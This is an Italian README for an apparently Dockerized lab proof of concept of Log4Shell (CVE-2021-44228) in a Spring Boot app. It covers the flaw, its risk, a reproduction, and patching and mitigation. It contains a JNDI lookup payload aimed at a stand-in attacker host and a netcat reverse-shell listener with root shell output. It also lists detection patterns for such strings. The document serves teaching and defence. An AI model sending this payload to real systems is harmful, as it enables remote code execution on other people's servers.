Log4Shell (CVE-2021-44228) - Prova di Concetto

Obiettivo

Riprodurre, sfruttare e correggere una CVE critica nota in un ambiente Dockerizzato. Questa Prova di Concetto dimostra CVE-2021-44228 (Log4Shell) in un'applicazione Spring Boot.

1. Descrizione della Vulnerabilità

CVE: 2021-44228

CVSS: 10.0 (Critico)

Componente interessato: Apache Log4j (<= 2.14.1)

Come funziona il pacchetto

• Log4j è una popolare libreria di logging Java.
• Supporta i lookup (${...}) per risolvere dinamicamente i valori all'interno dei messaggi di log.
• Uno di questi lookup è JNDI, che può recuperare valori tramite LDAP.

Come funziona la vulnerabilità

• L'attaccante avvelena l'applicazione vittima con una stringa di lookup JNDI malevola come ${jndi:ldap://attacker.com:1389/a}.
• L'applicazione vittima con versione vulnerabile di Log4j valuta la stringa malevola durante il logging.
• Ciò innesca una richiesta JNDI al server LDAP controllato dall'attaccante.
• Il server LDAP risponde con un riferimento malevolo a bytecode Java esterno.
• La JVM vittima carica il bytecode e lo esegue, portando a Esecuzione Remota di Codice (RCE).

Come funziona l'exploit

1. L'app vittima registra l'input fornito dall'attaccante da un'intestazione HTTP.
2. Il server LDAP dell'attaccante risponde con un riferimento a Exploit.class.
3. La vittima recupera Exploit.class via HTTP.
4. L'inizializzatore statico in Exploit viene eseguito, generando una reverse shell verso l'attaccante.

2. Rischio

• Impatto: RCE non autenticata - massima gravità possibile.

• Chi/cosa è a rischio:

  • Qualsiasi applicazione Java che utilizza Log4j <= 2.14.1.
  • Servizi esposti su Internet e interni che registrano input controllati dall'utente (es. intestazioni HTTP).

• Conseguenze:

  • Compromissione del sistema (accesso shell).
  • Esfiltrazione di dati.
  • Pivot verso reti interne.
  • Evasione delle difese perimetrali (attacchi tramite servizi interni).

3. Prova di Concetto

Prerequisiti

1. docker + docker-compose
2. netcat
3. make

Build e avvio

make build start

Exploit

1. Avvia un listener netcat:

nc -l 4444

2. Attiva l'exploit:

make exploit

3. Netcat riceve una reverse shell dalla vittima:

/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...

4. Correzione

Correzione preferita

• Aggiorna a Log4j 2.17.1 o successivo.
• Questa è l'unica correzione completa e a lungo termine. Le versioni precedenti hanno risolto parzialmente ma hanno lasciato esposizioni:
  • CVE-2021-45046: RCE tramite configurazione di logging non predefinita
  • CVE-2021-45105: DoS tramite lookup autoreferenziali
  • CVE-2021-44832: RCE tramite alcune configurazioni di appender JDBC

make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell

Mitigazioni temporanee (se l'aggiornamento non è possibile)

1. Guadagna tempo

• Limita le stringhe di exploit in ingresso (${jndi: patterns) con un WAF o middleware.
• Limita le richieste LDAP in uscita dai server applicativi con filtri di egress.

2. Disabilita i lookup:

-Dlog4j2.formatMsgNoLookups=true

3. Rafforza la JVM:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

Mitigazioni operative

1. Controlla dipendenze e runtime

• Genera un SBOM (gradle dependencies, Snyk, Wiz, ecc.).
• Cerca immagini/server distribuiti per log4j-core-*.jar, inclusi fat JAR.
• Effettua il triage e dai priorità alle mitigazioni per i carichi di lavoro più rischiosi.

2. Monitora e rileva

• Controlla i tentativi di exploit nei log (${jndi:...}, ${${lower:j}ndi:...}, ecc.).
• Monitora il traffico LDAP in uscita per callback.
• Tratta i risultati come potenziali compromissioni, aumenta il livello per la risposta agli incidenti (indagine forense, rimozione di artefatti malevoli, rotazione dei segreti, ecc.).

3. Patch dei fornitori

• Tieni traccia degli advisory dei fornitori (ad es. Elasticsearch) - molti includono Log4j integrato.
• Applica hotfix o workaround forniti fino a quando non sono disponibili patch ufficiali.

4. Miglioramenti strategici

• Applica una policy 'nega per impostazione predefinita' per il filtraggio del traffico in uscita.
• Applica la scansione delle dipendenze in CI/CD.
• Formalizza i playbook di risposta in modo che i team sappiano esattamente cosa fare durante la prossima vulnerabilità 'CVSS 10.0'.
• Esegui esercitazioni di resilienza/tavoli di prova per testare la prontezza per un incidente 'nuovo di classe Log4Shell'.

5. Riferimenti

• Avvisi di sicurezza di Apache